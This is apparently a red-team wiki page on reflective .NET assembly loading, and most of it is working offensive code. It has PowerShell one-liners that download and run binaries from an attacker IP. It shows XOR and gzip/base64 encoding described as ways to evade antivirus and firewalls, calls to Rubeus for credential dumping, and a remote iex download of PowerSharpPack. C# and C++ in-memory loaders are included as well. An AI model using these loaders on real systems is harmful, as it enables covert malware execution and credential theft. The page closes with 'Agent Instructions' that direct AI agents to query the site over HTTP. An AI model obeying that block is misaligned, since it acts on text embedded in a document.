# Loading .NET Reflective Assembly

## Theory

We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process **without calling the standard Windows APIs**.

## Practice

### Powershell

We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using `[System.Reflection.Assembly]`

{% tabs %}
{% tab title="Classic" %}
When reflectively loading .NET assembly (exe or dll), **we have access to all it's classes and methods** directely from powershell.

We can find lot of C# offensive tools on the [SharpCollection](https://github.com/Flangvik/SharpCollection) Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

```powershell
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))
```

We can now call its methods

```powershell
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

{% endtab %}

{% tab title="XORed" %}
To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:

XOR the Binary using the following python code

{% code title="xor\_encrypt.py" %}

```python
def xor_encrypt(data, key):
    decrypted_data = bytearray()
    key_length = len(key)
    for i, byte in enumerate(data):
        decrypted_byte = byte ^ ord(key[i % key_length])
        decrypted_data.append(decrypted_byte)
    return bytes(decrypted_data)

def main():
    input_file_path = "evil.exe"  # Replace this with the path to your input file
    output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
    xor_key = "MySuperSecretKey"  # Replace "XOR_KEY" with your actual XOR key

    with open(input_file_path, "rb") as input_file:
        binary_data = input_file.read()

    decrypted_data = xor_encrypt(binary_data, xor_key)

    with open(output_file_path, "wb") as output_file:
        output_file.write(decrypted_data)

if __name__ == "__main__":
    main()
```

{% endcode %}

```bash
$ python3 xor_encrypt.py
```

On the Windows Tartget, decrypt and load the .NET assembly

```powershell
#Create WebClient object, set a custom User-Agent, configure default proxy & credentials if any
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials

#Download the assembly
$k="MySuperSecretKey";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("http://<ATTACKING_IP>/evil.enc.exe")))|%{$_-bxor$k[$i++%$k.length]}

#Load it
[System.Reflection.Assembly]::Load($b) | Out-Null
```

Now, we can call methods from this assembly

```powershell
#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters) 

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

{% endtab %}

{% tab title="Base64 + Gzip" %}
To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:

Use the following powershell script to encode and compress the .NET assembly (change the binary path)

{% code title="CompressEncodeAssembly.ps1" %}

```powershell
$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
```

{% endcode %}

```powershell
.\CompressEncodeAssembly.ps1
```

On the target, we can decode, decompress and load the assembly

```powershell
#Download it
$data= New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String((iwr "http://<ATTACKING_IP>/b64.txt" -UseBasicParsing).Content))
#Or
#Get it from a string
$data = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("<Base64 here>"))

#Decompress
$decompressed = New-Object System.IO.Compression.GZipStream($data, [System.IO.Compression.CompressionMode]::Decompress)
$out= New-Object System.IO.MemoryStream;
$decompressed.CopyTo($out)
[byte[]]$byteOutArray = $out.ToArray()

#Load it
[System.Reflection.Assembly]::Load($byteOutArray)
```

Now, we can call methods from this assembly

```powershell
#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters)

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

{% endtab %}

{% tab title="Custom .NET DLL" %}
We can build our own DLL in C# and reflectively load it with Powershell.

{% code title="evil.cs" %}

```csharp
using System;
using System.Diagnostics;

//This function just spawn calc.exe
namespace Do
{
    public class The
    {
        public static void thing()
		{

		    Process p = new Process();
			p.StartInfo.FileName = "calc.exe";
			p.Start();	
		}
    }
}
```

{% endcode %}

Compile the csharp code from our Linux host into a DLL

```bash
$ mcs -t:library evil.cs
```

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

```powershell
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/evil.dll")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\evil.dll"))
```

Call methods

```powershell
PS> [Do.The]::thing()
```

{% endtab %}
{% endtabs %}

### C\#

We can implement Reflective Assembly Loading in `C#` and load the .NET assembly of a exe/dll.

{% tabs %}
{% tab title="Assembly.Load()" %}
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the `Assembly.Load()` method

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssembly(fileBytes, fileArgs);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            // Load the assembly
            Assembly assembly = Assembly.Load(assemblyBytes);
            // Find the Entrypoint or "Main" method
            MethodInfo method = assembly.EntryPoint;
            // Get the parameters
            object[] parameters = new[] { param };
            // Invoke the method with its parameters
            object execute = method.Invoke(null, parameters);
        }
    }
}
```

Compile it, and execute it

```powershell
PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!
```

{% endtab %}

{% tab title="Assembly.LoadFile()" %}
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the `Assembly.LoadFile()` method

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            string filePath = "C:\\Tools\\JustACommandWithArgs.exe";

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssemblyLoadFile(filePath, fileArgs);
        }

        // Load and execute assembly from path
        //   - Accept only local file path
        public static void ExecuteAssemblyLoadFile(string assemblyPath, string[] param)
        {
            Console.WriteLine("[*] Using Assembly.LoadFile:");

            try
            {
                // Load the assembly
                Assembly assembly = Assembly.LoadFile(assemblyPath);
                // Find the Entrypoint or "Main" method
                MethodInfo method = assembly.EntryPoint;
                // Get the parameters
                object[] parameters = new[] { param };
                // Invoke the method with its parameters
                object execute = method.Invoke(null, parameters);
            } 
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }
    }
}

```

Compile it, and execute it

```powershell
PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!
```

{% endtab %}

{% tab title="SharpSploit - 1" %}
Here is a little example of calling SharpSploit assembly (dll) in C# using the `Assembly.Load()` method

The following code use the `SharpSploit.Credentials.Tokens` class, create an instance using the constructor, and the call its `WhoAmI` method

{% code title="SharpSploitWhoami.cs" %}

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Credentials.Tokens");

            // Find the WhoAmi method - Note that definition must be the same as in the dll
            var methodInfo = t.GetMethod("WhoAmI", new Type[] { });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Define parameters for class constructor
            object[] constructorParameters = new object[1];
            constructorParameters[0] = true; // First parameter.

            //Create instance of Tokens class
            var o = Activator.CreateInstance(t, constructorParameters);

            //Invoke method
            var r = methodInfo.Invoke(o,null);
            Console.WriteLine(r);
            //OR
            //Specify parameters for the method we will be invoking
            //object[] parameters = new object[2];
            //parameters[0] = 124;            // First parameter
            //parameters[1] = "Some text.";   // Second parameter
            //Invoke method with parameters
            //var r = methodInfo.Invoke(o,parameters);
        }
    }
}
```

{% endcode %}

Compile it, and execute it

```powershell
PS> SharpSploitWhoami.exe
DESKTOP1\Pwned
```

{% endtab %}

{% tab title="SharpSploit - 2" %}
Here is a little example of calling SharpSploit assembly (dll) in C# using the `Assembly.Load()` method

The following code use the `SharpSploit.Enumeration.Registry` class to call its `GetRegistryKey` static method

{% code title="SharpSploitRegQuery.cs" %}

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Enumeration.Registry");

            // Find the GetRegistryKey method (public static string GetRegistryKey(string RegHiveKey, string RegValue))
            var methodInfo = t.GetMethod("GetRegistryKey", new Type[] { typeof(string) });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Specify parameters for the method we will be invoking
            object[] parameters = new object[1];
            parameters[0] = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";   // Second parameter

            var r = methodInfo.Invoke("", parameters);
            Console.WriteLine(r);
        }
    }
}
```

{% endcode %}

Compile it, and execute it

```powershell
PS> SharpSploitRegQuery.exe
Values:
  Name:
  Kind: String
  Value: mnmsrvc

  Name: ComputerName
  Kind: String
  Value: DESKTOP-LKH0G0S
```

{% endtab %}
{% endtabs %}

### C/C++

It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.

{% hint style="info" %}
Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.
{% endhint %}

At a high level, it works as follows:

1. `CLRCreateInstance` is used to retrieve an interface [ICLRMetaHost](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface)
2. `ICLRMetaHost->GetRuntime` is used to retrieve [ICLRRuntimeInfo](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface) interface for a specified CLR version
3. `ICLRRuntimeInfo->GetInterface` is used to load the CLR into the current process and retrieve an interface [ICLRRuntimeHost](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface)
4. `ICLRRuntimeHost->Start` is used to initialize the CLR into the current process
5. `ICLRRuntimeHost->ExecuteInDefaultAppDomain` is used to load the C# .NET assembly and call a particular method with an optionally provided argument

{% tabs %}
{% tab title="unmanaged.cpp" %}

* `managed.cs` is a C# program that is loaded by the unmanaged process.
* `unmanaged.cpp` is a C++ program that loads a C# assembly (managed.exe). It invoks via `ExecuteInDefaultAppDomain` the `spotlessMethod` method from the C# assembly

{% code title="unmanaged.cpp" %}

```cpp
// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}
```

{% endcode %}

Compile it and execute it

```powershell
PS > unmanaged.exe
Hi from CLR
CLR executed successfully
```

{% endtab %}

{% tab title="managed.cs" %}
Here is the managed.cs code:

{% code title="managed.cs" %}

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

### Tools

{% tabs %}
{% tab title="Evil-WinRm" %}
If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.

**Dll-Loader**

We can use `Dll-Loader` to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type `menu`, then it is possible to autocomplete all functions.

```powershell
#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll

#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll

#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll

#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
```

**Invoke-Binary**

We can use `Invoke-Binary` to load a local (on attacking host) .NET binary in memory.

```powershell
#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
```

{% endtab %}

{% tab title="PowerSharpPack" %}
[PowerSharpPack](https://github.com/S3cur3Th1sSh1t/PowerSharpPack) provide many usefull offensive CSharp Projects wraped into Powershell for easy usage. It use the mentioned gzip+base64 encode methods to load .NET assembly in memory.

```powershell
#Download PowerSharpPack
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')

#Choose your tool
PowerSharpPack -seatbelt -Command "AMSIProviders"
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly>" %}

{% embed url="<https://stackoverflow.com/questions/14479074/c-sharp-reflection-load-assembly-and-invoke-a-method-if-it-exists>" %}

{% embed url="<https://blog.king-sabri.net/red-team/executing-c-assembly-in-memory-using-assembly.load>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/weapon/code-and-process-injection/.net-reflective-assembly.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
